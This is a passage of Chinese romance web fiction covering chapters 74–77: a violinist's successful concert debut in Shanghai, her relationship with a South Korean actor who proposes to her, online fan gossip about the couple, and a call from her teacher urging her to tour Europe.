“好。”他憋笑，这样的女友是真的出乎意料地可爱。醉酒之后的娇艳，和平时温婉淡漠的样子丝毫不同。 她就像一本动人的小说，让人想要无止境地翻阅下去。 白皙的手指捻起高脚杯，宋玉妍喝的很快，仿佛这不是酒精而是葡萄汁一样。最后的一口她没有急着喝，而是先伸手跨过桌子固定住孔浏的脑袋。 不让这个在她面前晃来晃去的脑袋动，固定之后发现手和他的脑袋一起动之后，干脆不管了。 最后一大口红酒被她灌入喉咙，嘴唇被液体浸染的莹润又娇嫩。像是鲜红的玫瑰花瓣捣成了汁水，一点一点地敷在她的唇瓣上。 下一秒，她倾身过去，腰肢折成不可思议的角度，仰着头突然凑近，那一抹柔软点在他的嘴角处。 第74章 第七十四章 在橡木桶里发酵的果香和玫瑰味，混合在一起。心底的爱意顺着挥发散开的酒气，一起绵延疯长。 孔浏的余光看向她嫣红的唇瓣，眼底翻涌着无数欲望。 温热又柔软的触感在他嘴边轻蹭，微凉的指尖贴在他的下颌缘处。宋玉妍像是想感受什么，像小兽一样舔了舔。 他不再克制自己，灼热的视线在她身上绞缠、游走。像是野兽狩猎前在评估猎物的体力，只是他的目光还是更内敛许多。 终于孔浏站了起来，用温热的手掌托起宋玉妍的大腿根，毫不费力的把她给抱了起来，往自己身上一嵌。 宋玉妍被他突如其来的动作震惊到张嘴一呼，只觉得自己整个人都是悬空的，右肩上的吊带不知道什么时候滑落了。 她想要抬手去够，把肩带往上拉，但是被孔浏用手扣住。 滚烫的手掌犹如他这个人的欲望，直白又不加掩饰。 孔浏本来只是想让她喝点红酒好好休息，没想到女友一直在撩拨他。钩子一样妩媚的眼神、慵懒的声音、还有……比涂着浆果色口红看起来还要鲜润多汁的软唇。 两人的身体严丝合缝地贴在一起，宋玉妍只觉得悬空感让她很是不安，只能用自己的纤细手臂环住对方的脖子。 他的核心力量和手臂力量很不错啊，她居然还能分出心思去想这样乱七八糟的事情。视线没有办法透过布料，自然也就看不到对方的肌肉。 宋玉妍被“摔”在沙发上，下一个呼吸间，她的右肩被孔浏用手掌握住。他轻轻地抚摸着、摩挲着圆润如玉的肩头，细腻的肌肤带给人流连忘返的手感。 像是不满足于此，他的手掌不断向下。 她想要阻止，两人之间的体温迅速上升，刚开口，“我……” 孔浏毫不犹豫地偏头吻了下去，不偏头的话，撞上又会把她的鼻尖磨红。 她的声音就被堵了回去，破碎的词句被宋玉妍自己咽了下去。她的下巴尖被人箍住、随后抬起，宽大、分量十足的指节像是禁锢着的金属套，没办法挣脱分毫。 一开始就掠夺感十足，没有给她喘息的机会，随着他一点点深入，室内的气氛也一寸寸升温。 孔浏只觉得她很好亲，花果的味道加上绵软温热的口感，像是法餐里的甜点——莓果舒芙蕾。 醉酒的宋玉妍褪去了平时的温婉清冷，只剩下予取予夺的娇媚。手指在她身上游动着，只觉得她每一处都很软。 在失控的边缘、那根名为理智的弦崩断之前，他的呼吸凝滞了一瞬，手上的动作也停止了。 想到她后天的演奏会，明天还要去联排。孔浏忍了忍还是不准备继续下去，理智回笼后把柔弱无骨的人抱起来放回床上。 幸好他拿的是红酒，这样宿醉之后第二天的反应几乎是微乎其微。 女友的睡衣现在看起来很碍眼，孔浏把酒店的薄被给人盖好，拉到肩膀往上。又走到浴室用温水打湿洗脸巾，给她把脸擦拭干净，刷牙的难度太高也就作罢。 看着宋玉妍的头发像是墨水一样倾泄在洁白的床品上，酡红的脸蛋看起来娇俏十足。他本来准备都离开了，又重新转回去，重重地在她嘴唇上吮吸了几下。 回到自己房间后，他冲了个凉水澡，身体的燥热依旧难耐。打开小冰箱，从里面拿出一瓶冰雪碧，一边平复着自己身体里的翻涌的气血，一边看着网上攻略。 等演奏会结束之后，他应该带宋玉妍去那家餐厅打卡？黄浦江邮轮夜游和东方明珠塔都可以列 到计划表里。 第二天早晨，宋玉妍被明亮的晨光刺醒，打着哈欠往枕头下摸了下手机。扑了个空，转眼看到它在床头柜上好好放着，看了眼时间之后，发现时间还算早。 准备睡个回笼觉时动了动嘴唇，发现嘴唇上的酸胀感十足。这让她很不适应，等到去刷牙时才发现，这给人带来了很大不便。 为了减缓酸胀感，宋玉妍只能先咧着一边嘴唇刷然后换另一边。镜子里的怪模怪样，把自己都给逗笑了。 和孔浏一起出去吃早餐时，她质问对方：“昨天你对我做什么了？为什么早上醒来之后嘴唇这么不舒服。” 孔浏：…… 他一时间有些无言以对，没有想到宋玉妍酒量这么浅，而且还不会记得酒后发生的事情。 面上还是温润的笑意，他嘴角划过的弧度看起来很是宠溺。 “昨天你喝醉之后，就一直吵着要吃果冻，甚至还想用红酒配果冻。没有办法，叫了外送之后，你把一整包果冻都给吸完了。” 听到这个答复，宋玉妍狐疑地看了他一眼，面上好像是相信了。 虽然身体晕乎，但是她的思维一直都是清醒的，就是没想到他居然能编出这样的鬼话。 看到她像是相信自己的理由后，孔浏的嘴角疯狂想要往上翘起，但还是被抑制住了。 “现在是嘴唇有点酸胀吗？这两天你吃清淡一点吧，下次可不能一次吃这么多果冻了。” “内。” 上海的小杨生煎很有名，当然只在外地人这里口口相传。宋玉妍坐在这家餐厅的大堂，想着点好的藤椒大虾生煎几乎要落下泪了。 她才不管口味正不正宗，只要好吃就行，不会再有比南韩的饭菜还要难吃的食物了。 等一碟四个生煎上来，黑色的芝麻点缀在生煎的褶皱上，勾得人食指大动，她迫不及待地咬了一口。 就算外面的面皮是微热的，里面的汤汁也给她烫到了，宋玉妍几乎觉得自己的口腔内壁要被烫下一层皮。 孔浏连忙给她去拿了一瓶牛奶，想让她压压烫到的地方。 “欧巴好厉害！居然连中文都难不倒你，能够准确地拿到牛奶诶。” 宋玉妍有些惊奇，据说他是孔子第80几代世孙，难不成骨子里的血脉会让他对中文更加有天赋？ “阿尼。”孔浏指了指包装上milk的字眼，“我认识英文。” 看到女友因为窘迫而低头默默吃饭的样子，他忍不住撇过头去咳笑了一声。重新转回来依旧是那个成熟持重的前辈，笑容的弧度几乎都没有差别。 联排时，宋玉妍用自己的技术和对曲目的了解征服了上海爱乐乐团的所有乐手。 她不但西方的曲目拉得行云流水，就连《黄河颂》这样的种花本土作曲家谱写的作品，也能完美把握其文化底色。 这样的感受力，并不是每个演奏家都能具备的天赋。 他们指挥看向她的眼神里满是复杂。如果宋玉妍是种花人，他一定极力留下人来当首席。 只可惜，韩国国立交响乐团有眼无珠。一个国家顶尖的乐团，居然都不留下一个兼具超高人气和精湛技术的音乐首席。 排练结束后，宋玉妍已经累瘫，每个指挥的风格不一样，各种要求更是千奇百怪。晚上回去之后，她整个人都想瘫倒在床上，什么都不管不顾。 还是孔浏给她叫了客房服务，送了一些晚饭让她能对付两口。他今天几乎一直在排练厅陪着自家女友，总算是知道她的胃病是怎么来的。 如果不是他的要求，宋玉妍甚至都不想吃午饭。 她把焦虑掩藏的很好，如果不是足够了解，孔浏应该也感受不到她的不安。 在固定的排练时间，水都不喝一口。就连那一个小时的午休时间，她不是在检查自己使用的弓法就是在一遍遍练着空弦。 仿佛只有小提琴能给她带来安全感。 他只希望宋玉妍能够得偿所愿，希望结果能配得上她的付出。 翌日傍晚，宋玉妍和孔浏坐在出租车后排。她手里抱着琴盒，两人一起看着窗外的留香鬓影。 海明威说巴黎是一场流动的盛宴，如果他能够看到现在的上海。见证这座东西方文化碰撞出火花的城市，他也许会认为上海，也会是与他一生同在的城市。 到了保利大剧院后，钢制结构做成木质纹理的幕墙，一眼就用独特的光影美学吸引路过的行人。远远望去，主建筑坐落在远香湖边，就像是被一层轻纱所笼罩。 东方建筑的光影美学，此刻在将落未落夕阳的光辉下，体现得淋漓尽致。 到了正门口后，两人就分开了。宋玉妍要去演出人员所在的后台，孔浏则是要去入场的观众那边排队进场。 看着她曼妙的背影，他好几次嗫嚅着想说什么，但嘴唇就是发不出任何一个音节。 等宋玉妍快要消失在转角处时，他连忙快步跑过去。穿过长长的走廊，皮鞋在光滑的大理石上踩出的声音，引来其他听众的瞩目。 “宋玉妍xi，”他的气息有些微喘，居然说的敬语。“你是我见过最优秀的小提琴演奏家，如果不是你，我甚至都不会去了解古典音乐。” 所以，放轻松一点，今天是你的主场。 孔浏此刻的笑容和之前都不一样，嘴角的弧度是笃定、眼底的情绪是包容。 宋玉妍原本握着琴盒把手的手指是僵直的，听到这样的话后，稍稍放松了一点。 “内，阿拉索，谢谢。”转过身，她的步履轻快了不少。原来，孔浏对于她来说就是情绪稳定剂，也像是她的一方后盾。 登台之后，她站在指挥的左前方，从1600个座位里精准捕捉到，坐在第二排中间的孔浏。 宋玉妍朝他笑了笑，明媚的笑容在灯光的映照下晃花了他的眼。 她似乎很适合站在聚光灯下，她像是天生的聚光体，就应该享受粉丝为她献上的鲜花、掌声、赞美。 孔浏冒出一个不合时宜的想法，宋玉妍比他更适合做艺人。随后等各个声部开始调音，他立刻把这不着边际的思绪抛却到脑后。 音乐厅里的所有观众都和他一样，屏住呼吸，等着这位新兴的演奏家为他们带来一场无与伦比的视听盛宴。 第75章 第七十五章 宋玉妍乌发绿裙站在指挥的左手边，靠近乐团小提琴第一声部。 在室内亮如白昼灯光的映照下，台下的听众看清了这位演奏家的脸，这位比他们想象中的还要年轻漂亮。 上海是一座国际化的都市，每年来这里巡演的演奏家不计其数，其中不乏一些享誉国际的大师。 有些前排的听众开始皱眉，他们是古典音乐最忠实的簇拥者，良好的音乐素养早就养刁了他们的耳朵。 如果只是一般的水平，他们当然也会有礼貌地送上掌声，但不会再为这位演奏家的下一张票买单。 莫扎特的《A大调第五小提琴协奏曲》一开始就用全合奏的旋律先声夺人，引子部分管乐细碎的短音和弦乐的切分音互相映衬。 工整的节奏显得规模弘大，管弦乐的配合显得既辉煌又活力。这位天才19岁的作品，成为了古典音乐流派绕不过去的作品。 青年莫扎特活力又朝气蓬勃的风格跃然纸上，大部分观众的注意力都开始集中。 站在舞台左侧的宋玉妍，一袭薄荷绿色的鱼尾裙，这个颜色既清新又具有生命力。胸上的被暗线的花纹勾勒出波浪的形状，加上亮片的点缀显得更加华丽。 一开始的主旋律，没有她主奏的第一小提琴加入。她环视着这两天一起练习的乐手们，脸上的带着温婉的笑意。 一分多钟的主合奏部分结束，在分解和弦后，宋玉妍拿起自己的琴放在肩上，柔软又多情的主旋律响起。 如果是前排的听众，甚至能看清她每一个细致入微的演奏动 作，右臂的夹角形成一个几乎完美的角度。 每一次运弓，指尖、弓头形成一条直线，在弦上演奏的弧度呈直角的轨迹移动。这让她手的手臂线条十分明显，每一块肌肉必须充分利用才能达到最好的歌唱性。 台下听众只觉得今晚的演奏会不虚此行，这位新人的独奏能力不比一些一流大师差。 在乐队经过部分，宋玉妍听到乐队的32分音符有越拉越快的趋势时。她不自禁地和指挥同时下压双手，示意乐团稳住节奏。 随后她又抬起自己的琴，以一段独奏的旋律进入第二主题，和乐队的合奏配合默契。 宋玉妍主奏的第一小提琴像是河流，独奏时无论是像溪流潺潺，还是如大江一样奔腾而出，最后都会汇入如大海一般的合声中。 华彩乐段时，就是她整个人的炫技时间，大量的颤音，运弓和左手流线形的按弦配合默契。 颤音迤逦出来的音符，既颗粒饱满又显得浪漫多情。 台下有些听众自己本身也是小提琴手，或专业或业余，莫扎特这首曲目的第一乐章他们大多都尝试过。 这是考级的必备曲目，它的难度绝对不是像宋玉妍拉出来的那样轻而易举，尤其是华彩部分，能在共鸣和速度之间找到平衡非常不容易。 台上的宋玉妍只觉得自己好像又进步了一点，无论是技法还是情感。 每一个跳动的音符都在她的手下听话的很，抛弓、跳弓、顿弓、切分音……而技巧只是为了更好地表现那位青年作曲家的活力。 细腻柔软的慢板和回旋曲一过，台下的听众还未听过瘾，小步舞曲的三连音奏出就预示着这首曲目走到尾声。 最后的乐句呈现出一种温暖的、金色的，就像是日出那般璀璨却柔和的色彩。 台下的听众献上雷鸣一般的掌声，第一小提琴技术与情感的演绎没有让他们失望。夸张地说，只这一个曲目就已经值回票价了。 听到热烈的掌声，宋玉妍因为演奏时一直拧着的眉头放松了下来，嘴角的笑容完全抑制不住。 她的目光往台下扫时，不自禁地去找自家男友的身影，对视上时朝他点了点头。 孔浏看到这样的女友，心中的幸福感都快要溢出来了，嘴角上扬也不能完全体现愉悦。那道身影此刻像是世界的中心，他想就算再过四十年，他也会记住宋玉妍这副模样。 她不光是在台上演奏时在发光，排练时和指挥和其他种花乐手用中文交谈时，身上的光彩都让能让旁人沾染上。 这些天孔浏一直在听她说，什么第一乐章就是莫扎特小提琴协奏曲里最耀眼的明珠。但他觉得，只要宋玉妍拿起自己的琴，他的眼底就容不下别人，她才是最耀眼的明珠。 上半场《降b大调小提琴协奏曲》奏完就结束了，音乐厅里的听众有些恋恋不舍地去中场休息，大部分人还沉醉其中。 下半场大部分都是篇幅稍短的曲目，《黄河颂》夹杂在其中并不显得突兀。 虽然节目单早就出来，但听众还是觉得很惊喜，外籍演奏家居然能把这首曲目诠释的这样好！ 谢幕后，宋玉妍准备了三首返场曲目，《梁祝》、《夏夜》、《新疆之春》，足够用心的选曲加上充满感情的诠释博得了台下听众的好感。 最后一次谢幕时，知道不会再有返场的曲目之后，听众也没有直接退场而是都坐在台下献上掌声。 这个夏夜因为这场演奏会显得流光溢彩。 宋玉妍接过百合花束，惊讶地看着指挥，这样的送花一般都是乐团事先安排好的。 但是她没有想到，自己的第一场演出，不熟悉乐团居然也会如此用心。 去后台的路上，指挥经过她时说道：“今晚的演出很成功。” “是啊！多亏了乐团大家的配合，让我第一次演奏会就如此完美。”宋玉妍抬头，脸上的笑容很是真挚。 真的站上那个舞台，成为和指挥一样的“明星”后，她才知道，和做首席时的感受完全不一样。 做首席时演奏的曲目更多的是交响乐，就算说是乐团的二号灵魂人物，归根结底也只是指挥眼里的螺丝钉而已。 风格、曲目、节奏都不由她掌控。但是作为演奏家，她的话语权会更高。曲目会和指挥一起商量、乐队跟上她的节奏、风格由她这个第一小提琴手来把控。 宋玉妍深吸了一口沁凉的空气，远香湖的水气似乎带着一丝甜意，只觉得这种感觉让人上瘾。 台下数千听众只为你一人而来的感觉真好，雷鸣般的掌声也是她最喜欢的节奏。 指挥笑了笑，看着这位冉冉升起的明星，忽然觉得沉寂已久的古典音乐界，像是被注入了一股新的活力。 他有幸见证过古典音乐辉煌时最后的余晖，也在宋玉妍身上仿佛看到了上世界大师的影子。 “希望以后还能和你合作，以及去欧洲吧！那里才是你真正的舞台。” 亚洲的乐团都算是小打小闹，只有去欧洲见过世界第一的柏林爱乐乐团，站上过金色大厅，才能成为一名真正的小提琴演奏家。 “会的。”宋玉妍扭过头，嘴角是笃定的笑容。她迟早都会踏上那片土地，让那些最挑剔、平均音乐素养最高的听众挤进音乐厅，只为她贡献出一张票。 收拾好琴盒把礼服换下来之后，门口的男友一直在等候。宋玉妍主动把自己的手塞进他的手心里，却被孔浏松开。 下一秒，他接过她手上的东西后，左手绕着她的手臂转了半圈，贴住她腕间的肌肤。向下之后，手指伸进缝隙里，十指相扣。 今夜的月色正好，宋玉妍因为演奏会圆满结束心情也大好，看着身侧的男友说道：“我们在这里散散步吧。” “好。” 微风抚过，远香湖的水波似乎都吹皱了。两人之间的静谧，并不是向之前一样尴尬的氛围。而是一种心意相通，她心情愉悦孔浏知道，也只是陪着宋玉妍一起静静享受此刻。 “今晚的月色真的很好，月亮又大又圆，我在美国时就算是中秋夜也看不到这样美好的月亮。”她的笑意是放松的、慵懒的。 “那以后每年中秋的月亮都可以很漂亮，wuli偶妈每年这个时候都会做很多松饼。有一种又大又圆，和月亮的形状一样，里面塞满栗子和黄豆。” “这样啊。” 宋玉妍没有如他所愿一样接过话茬，顺着往下说一些漂亮的客套话。如以后有机会拜访，要好好尝一下之类的。 这让孔浏的眼里划过一抹失望，但随后这点情绪被他抛开。 这座建筑是真的很美，她近乎赞叹地欣赏着。“欧巴，你说现在有几个月亮呢？” 他看着天空上那轮皎洁的圆盘，有些不明所以。 “是四个，天上一个、这里建筑上的玻璃反射了一个。” 宋玉妍指了指旁边建筑上大块大块连成一片的落地玻璃，在静谧的夏夜里有一种特殊的美感。 “湖里有一个，以及……”她注视着自家男友的眼睛，清亮的桃花眼里是浓烈的爱意，如同湖水那样清澄。“你眼里的最后一个月亮。” 微凉的食指点在他的眼下，指尖上的厚茧带来不可忽视的触感。 孔浏被她的话逗的一笑，心脏突然加快，眼中的爱意一闪而逝。 他俯下身轻轻在她的软唇上贴了一下，一触就分开了，这个吻不含情欲。只是气氛到这，情侣之间自然而然的亲密举动。 “我只看得到两个。”在他眼里宋玉妍的光芒比天上的那个还要皎洁，但被她追问时，这样肉麻的话怎么也说不出口。 他只是静静摇头，就当自己是个哑巴。 两人的距离更加贴近了，就像是心脏的一小部分分享给了彼此。 在出租车快要来的时侯，宋玉妍反手把孔浏的手握地更紧了。 夜风分散了她的音量，“有机会的话，可以试一试松饼。” 第76章 第七十六章 孔浏制定的攻略最后还是没有派上用场。 不管是黄浦江轮渡夜游，还是打卡和平饭店，亦或是去东方明珠上的旋转餐厅看夜景都泡汤了。 因为现在南韩找宋玉妍找疯了，《东亚日报》的编辑给她打了无数个电话。 随着朴昭愿在步入南韩民众的眼帘，她的名气也水涨船高。 再加上她的第一个演奏会在种花大 获成功，算得上是为国争光，这狠狠地满足了南韩人自卑又自傲的民族虚荣心。 当然他们选择性地忽视了宋玉妍的美国国籍。 回程路上不开心的可能只有孔浏，原本和女友约好的双人世界泡汤。 回到南韩之后，她又要继续忙碌着接受各大媒体的采访，和一些同行、前辈好好交流，每天宴会不断。 就算他每天陪着人去酒会，采访结束接她，还是觉得两人之间的相处时间不够。 恍惚间他甚至以为两人的身份调转了，好像宋玉妍才是艺人。每天的曝光量比一些二线的爱豆还多。而他才是那个素人，整天无所事事。 孔浏已经无聊到要亲自去公司看看剧本，金秉钧看到他人出现在办公室时，就像是见了鬼一样。 两年不来公司的人，突然出现，谁的心脏受得了？ 等宋玉妍结束完所有的采访，七月的一半也就不知不觉地过去了。 她家的阳台被孔浏打理的很好，蓝紫色的无尽夏绣球花和垂丝茉莉组成了盛夏的颜色。 偶然和金素仙上课上累了之后，她会和学生一起在阳台喝杯咖啡。 看到这斑斓的阳台，宋玉妍因为学生的愚蠢而气得胸闷的情绪会缓解不少，她没有想到男友会这样上心。 只是之前一起去餐厅吃过一次饭，她多看了两眼人家的造景，他就不辞幸苦在她家开始移植这美丽但娇贵的植物。 绣球花的地培是他亲手栽种的结果，上色、杀虫都不假人手。 网上关于孔浏女友的身份也被扒出，宋玉妍本来也就不是纯素人。 「孔浏女友的身份估计是这位了，贴图，最近一直活跃在naver韩世趋上的小提琴演奏家。」 「楼主不要乱造谣好吧，没有捶的消息，对女方会带来困扰。」 「欧巴这么会找这位，长的一般、赚钱也一般，至少也应该是全知贤那样的才相配啊，kkk。」 「粉丝真的别太溺爱忠武路男演员，人家女方家世好、学历高，现在还是首尔大的讲师，配你家艺人绰绰有余。」 「看了一下，她一场演奏会也就四千万韩元的报价，孔浏xi的吸金能力去年可是演员前十哦。再加上他公司的老板就是之前的经纪人，抽成可以说是没有。女方和他的经济条件差太多了吧！」 「楼上少装理中客，人家的学生拿了柴奖为国争光，你家艺人欧巴为文化输出做出过什么贡献？」 「就是，而且这么年轻能在首尔大做讲师也能说明人家的实力吧！况且对方的第一场演奏会就在种花大获好评，海那边的网站上面都在夸，还问宋玉妍xi什么时候再去开演奏会。」 「我是楼主，我来捶了，这是国立交响乐团的观众席截图。这样好的位置一般要么是赠送给相关部门的官员，要么是企业给超级大客户的赠票。但是……两场一场是孔浏坐在这，一场是宋玉妍的学生朴昭愿坐了半场。所以这两位什么关系不用多说！」 有一部分网友还是在嘴硬，不太想接受自家艺人非单身的事实。只要女友没有具体曝出，他们可以继续当看不见。 但随着越来越多的料被扒出，比如说宋玉妍在接受KBS采访时没有否认绯闻；来往首尔和上海之间重合的行程；两人在首尔街头被偶遇了无数次。 绝大部分粉丝都欣然接受，这位的女友既不像ins网红那样仗着名人女友的身份作妖，又不拿孔浏当引人注目的流量密码。 这还有什么好挑剔的呢？更何况对方本身也很优秀！媒体更是把她视为南韩古典音乐界的下一任接班人。 孔浏看着网络上的风向还算不错，宋玉妍的学历为她加分不少，都不用他的公司下场引导舆论了。 但看到一条评论说他年纪太大，宋玉妍只是被他的艺人光环吸引，等玩够之后就会把他抛弃。 他心中的危机感骤然膨胀，看着握着琴弓恬静练琴的女友侧脸，那股危机感被不断扩大。 他和公司报备了一下，开通了个人ins，才过了3个小时涌入账号的follow人数就破了10万。 孔浏抬头看了宋玉妍一眼，“练琴练累了要不要休息一下？” “好。”她做到沙发上准备玩会手机，却被男友伸手揽过。裸露的肌肤贴着，热意源源不断从他身上传导过来。 宋玉妍想要离他远些，“热！” “我能把你的照片发到ins上吗？” 拿着玻璃杯的宋玉妍听到这话迟疑了一下，最后还是答应了。如果她不同意的话，对方能有一万种方法磨到她同意。 听到她同意之后，孔浏笑得眉目舒展，心底的那股危机感被减弱了不少。虽然他们两人之间有着年龄差、从小到大的文化背景也不一样，但至少心意相通。 他和宋玉妍都是那种会为了伴侣考虑、让步的性格。 把人揽到怀里，孔浏对着手机摄像头脸贴脸地拍了一张，最后选了一个甜蜜的马卡龙滤镜。 「这位哥也是难评，之前粉丝怎么催都不开通个人ins。说是说想让观众离作品近一点，离个人生活远一点，现在为了秀恩爱倒是开通快得很。」 「他要不要看看自己在做什么！主页简介艾特宋玉妍的ins账号，gf的意思当谁不了解？」 宋玉妍看到自己原本不算活跃的账号涌入一批新粉，内心的复杂难以言喻。“你要不还是进组吧！” 天天和她黏在一起她都有些烦了，虽然她是个淡人不爱出门，但这天天谈恋爱的日子是真的受不了。 这次听到这样的话孔浏没有一口拒绝，只是把剧本推过来给她看一眼。 “我想接这部剧，但也还在考虑中。”如果接下这部剧，那么他会被一些网民推入风暴中心。 《82年的金智英》出版时，本来就精准地踩在了南韩男人的痛点上。被搬上银幕后，扩大影响，收到的抵制只会更多。 宋玉妍对他的事业规划没有兴趣，看了眼封面没有打开的想法。“想做的事情就去做，为什么会有顾虑？” 她有些不解，从对方挑本子的目光来看。能入眼的剧本一定是顶尖的故事，那为什么会瞻前顾后？ 本来这些话他以为谁都不会开口，一直压在他的心底变成沉重的负担。“因为……” 他只觉得喉咙干涩的厉害，嘴巴上像是涂了一层胶水。 “因为我被捧到了一个不属于我的高度。”孔浏苦笑，从《熔炉》开始，他的每一部作品都会被观众带着放大镜观看。 他们总会期待他的作品会有什么不一样，走上神塔的人想要再回到地上并不是件容易的事情。 如果接下这部作品，一定会引来一些观众的疯狂抵制。 对于忠武路的演员来说，路人缘最重要，这也是经纪公司不算特别赞成他接下的原因。一旦让他们抵制，那后续他所有的作品，都会流失一部分观众。 金秉钧也觉得孔浏也不是什么都没有的小年轻了，没有必要因为一部作品沾上一身泥。只要他不犯罪，在忠武路独特的地位就没有人能撼动。 “恰给呀，”宋玉妍第一次说出如此肉麻的称呼，如春风一样的笑容里满是支持。 她的声音、她的笑容让人心脏疯狂 跳动，细腻如丝绸一样的手心抓住他的手掌。指尖的茧子在他的手背上轻轻摩擦，带来一阵酥麻又温柔的触感，像是在给予支持又像是在给予力量。 倾身过来时，身姿婀娜，裙摆如同绿色的花朵在奶油色的沙发上绽放。 就像她整个人一样，像是春日的细雨，柔和又具有生命力量，带给人舒服又安心的味道。 “我觉得演员不只是只对自己负责就好，到达你这样的高度后已经不缺名利，接作品时也不只是看中片酬。” 宋玉妍的眼神里满是温柔，温柔里是孔浏看得出的理解、心灵相通。 “我想你肯定还是有一份社会责任感的，想要通过优秀的作品去传递一些什么，改变一些什么！” 作家的责任是记录下时代的风云变幻或者是巷陌里的人间烟火气；演奏家的责任是给听众带去美的享受，用音乐的力量去把握时代的脉搏；而演员的责任也不仅仅只是用来享受名人的光环。 孔浏把她的手反手握住，眼睛莫名有些湿润，原来他的迷茫期被她看在眼里。 能够遇到一个理解、支持他伴侣是如此幸运。 他把人的手拉过来，静静地贴在自己的右脸上，像是想要汲取力量，又像是压下自己想要落泪的冲动。 心脏微微的塌陷夹杂着幸福、安心、激荡的感觉，柔情被点燃，随后原来灵魂空落落的那一块有一种微麻的酥酥感。 他抬头看向宋玉妍的眼神温柔到不可思议，喜欢上她只是心脏跳动后漏一拍的瞬间，但爱上是日积月累后的结果。 如果不是她，也许孔浏空白的那一块灵魂永远不会被填满。也许他可以将就过完这一生，但现在他不用将就了。 孔浏把人揽进自己的怀抱，深深吸了一口气。“我们结婚吧，可以不用公开，也可以不用先要孩子，婚礼在哪都无所谓。” 只要她在身边就好。遇见宋玉妍本身就是一件很幸福很幸福的事情。 第77章 第七十七章 听到他突如其来的求婚，宋玉妍忽然有些慌乱，身体不可避免的僵硬了一瞬。她把贴在颈窝里的脑袋捧起，嘴唇不满地微微嘟起。 “没有鲜花、没有钻戒、没有浪漫的氛围，这个求婚太过草率了。”看向孔浏的眼睛里满是不解，这样冲动的求婚不像是他的风格。 都说恋爱要从一束花开始，恋爱那么久了除了阳台上的植物，她连一根草都没有看到。 演奏会结束的送花不算，那是听音乐会的礼仪之一。 “我知道了。”当她没有一口否认的时侯，说明这事有戏。孔浏开始在思考，应该用什么样求婚仪式更加别出心裁。 室内的气氛就像是历久弥新的古典曲目，被时间选择后、沉淀后的旋律更加优雅动人。 孔浏把玩着她的手指，指尖上的茧子揉起来有一种别样的解压感。 回复完经纪人后，他在女友颈部上暗红色的琴吻处落下一个温热的吻。 和肩托不一样的触感让宋玉妍条件反射地瑟缩了一下，对他怒目而视。 原本把头埋在这里就已经很过分了，现在还要做出这样亲密羞人的动作。 像是被她的反应可爱到了，孔浏低沉的声线闷闷地笑着。 “wuli玉妍在怎么这么容易害羞啊？然后要是有更过分的举动该怎么办？” 说完之后，他对宋玉妍的手指失去了兴趣，用自己右手食指的内侧放在那枚琴吻处摩挲。 她拍开，孔浏又贴上去。再拍、再放上去，如此反复了好几次。 “幼稚！”她不知道对方这么突然对这里感兴趣了。 孔浏意味不明地勾起嘴角，挑了一下眉毛。如果对方知道他心底在想什么，还会觉得他幼稚吗？ 他的大拇指干脆整个摁上这枚琴吻，或轻或重地揉捏着，眼底是晦涩不明的幽色。侧脖这个位置与小提琴长年累月摩擦、按压，导致下颌到锁骨的三分之一处，落下一个烂红的、树莓一样的印子。 它长在白皙的肌肤上，像是见证过宋玉妍拉琴的岁月和努力。 孔浏手指按下，肌肤微微凹陷，大小恰好能覆盖这枚痕迹。 刚开始揉捏、摩挲的动作并不带情欲的意味。 他只享受多巴胺在每一处毛孔里散发开，带来一种格外甜蜜的感受。 不知不觉中，他手上的动作变了意味，带着丝丝缠绵的意味。 孔浏的下颚线越发紧绷了起来，舌尖抵在下颚。他的手指，几乎把宋玉妍脆弱透明的细颈包裹一圈。 粗粝的触感让她很不适应，摩擦时像是在暗暗地撩拨她。 她感觉自己像是对方手里的玩具，这让她受到了冒犯。 “够了！” 只是这样的娇喝在这样的氛围里，不像是拒绝，更像是调情。 他的眼神从宋玉妍低垂着的羽睫滑到象牙珠一样耳垂，最后落到丰满诱人的唇珠上。侧头想要吻上，这让宋玉妍更加往沙发深处躲。绿色的裙摆皱了，像是揉皱了的花瓣。 旖旎的氛围像是在空气里慢慢周旋，好像知道宋玉妍的心中所想。他靠近，贴在对方的耳廓上轻轻吐气道：“亲密只是表达爱意的方式，如果你感到不快，也可以报复回来。” 突然她手机传来来电铃声，宋玉妍看到来电显示人后，慌张到都抓不稳。 有种背着家长做坏事要被抓住的错觉。 粉色的金属方块从手里脱落，她又想伸手去捞，没有捞到。手机在她指间蹦跶了两下，最后还是摔在地上。 孔浏弯腰拿了起来，不经意间背阔肌舒展，把T恤撑起一个挺括的弧度。 宋玉妍无暇去看他，直接从他手里夺过手机，划过接听键后紧急切换到英语。 韩语的老师nim，差点脱口而出。“老师，怎么了？” 帕尔曼原本对她在种花的首演满意地不得了。从她运弓更加轻盈就可以看出，她仿佛褪去什么桎梏，右手的技巧都可以和世界顶级大师媲美。 这个关门弟子着实是给他长脸了，天知道那个华彩乐段的视频他给多少人发过邮件。 尤其是祖尔曼这位曾经的师弟，和他并称“双曼”。帕尔曼更是把视频给他发了三次，仿佛不是炫耀而是“失误”。 但是看到宋玉妍一个月就开了两场，月初种花一场，月中京都一场他简直恨铁不成钢。 演奏家怎么能这么懒惰？一个月至少八场才是正常的，一个城市安排两场最好。 “欧洲演奏会什么时候开始？你就在亚洲那个小水池扑腾有什么意思？” 宋玉妍：…… 不喜欢出门更不喜欢长途旅行的淡人一时语塞。 “具体的曲目还没有眉目。”她随便找了个借口。 “这还用说，伦敦就维瓦尔第；维也纳施特劳斯家族；莫斯科柴可夫斯基；柏林……贝多芬好了。” 这还要想？帕尔曼觉得自己之前被最小弟子勤勉的表象骗了。 听到自家老师发话了，宋玉妍立马吧孔浏放在自己脖子上的手扫开，站起来瞪了他一眼。 “好的老师，我马上去接洽。” “这就对了嘛，趁着开窍了、还年轻，多和顶尖乐团合作，吃进去的经验才是你的。” 古典音乐这一行很残酷，既拼演奏者的天赋又拼人脉，还要拼身体机能。 “宋玉妍呀，”帕尔曼说韩语很拗口，字音微微有些别扭。“以后的路就要交给你们年轻人来走了。” 他已经73岁了，被小儿麻痹症困到双腿不良于行。左手的手指机能也下降了不少，有些碎音已经摁不准了，不知道他还能拉几年。 听到帕尔曼这样的话，宋玉妍内心也是酸楚到不行。 她是看着自己老师头发慢慢染上银色的。 “怎么会呢，老师你的身体比我还好，每年开两次巡回音乐会，再开个二十年完全没有问题。” 听到这样的话，帕尔曼又是好笑又是心酸。和 他同时代的演奏家，有的长眠于岁月里，留下一张张黑胶，有的守着腐朽的房屋安静地度过生命最后一程。 而他年纪尚轻就已成名，和他们比起来已经算是幸运了。 宋玉妍看过自家老师十几岁时拉《野蜂飞舞》的视频，感慨万千，只能说岁月对演奏家格外地不留情面。 